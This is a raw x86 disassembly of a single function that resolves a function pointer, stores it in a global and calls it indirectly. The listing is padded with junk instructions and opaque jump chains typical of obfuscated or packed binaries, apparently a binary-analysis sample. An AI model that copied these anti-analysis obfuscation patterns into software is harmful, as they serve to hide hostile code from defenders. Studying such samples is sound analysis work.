call fcn.0046cd83
mov dword [ebp - 8], eax
push 0xc
push 0
lea edx, [ebp - 0x18]
push edx
call fcn.0044b0b2
add esp, 0xc
cmp ecx, dword [esp]
jl 0x44f403
jne 0x44f405
jge 0x44f41c
jae 0x44f409
xchg esi, esi
lea ebx, [ebx + 0x275a]
lea ebx, [ebx - 0x275a]
je 0x44f419
jl 0x44f41c
add eax, 0xf87d83
cmp dword [ebp - 8], 0
je 0x44f42c
mov eax, dword [ebp - 8]
mov dword [0x43d6d8], eax
jmp 0x44f430
xor eax, eax
jmp 0x44f49d
jmp 0x44f43b
mov ecx, dword [0x43d6d8]
mov dword [ebp - 8], ecx
xor edx, dword [esp + 4]
xor edx, dword [esp + 4]
test dword [esp], esi
cmp eax, 0x4137
jne 0x44f45f
pushf
cmp esp, 0x745
shl edi, 0
popf
lea edi, [edi]
je 0x44f45f
call 0x8a3d49ee
push ebp
cld
mov edx, dword [ebp - 8]
mov dword [ebp - 4], edx
jnp 0x44f467
jge 0x44f469
jmp 0x44f46b
jl 0x44f46d
jbe 0x44f486
pushf
shr esp, 0
dec edx
inc edx
xor esp, 0
jl 0x44f47b
popf
mov esp, esp
xchg esp, esp
jae 0x44f483
ja 0x44f486
mov ecx, 0x50fc458b
mov eax, dword [ebp - 4]
push eax
call fcn.00468812
add esp, 4
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8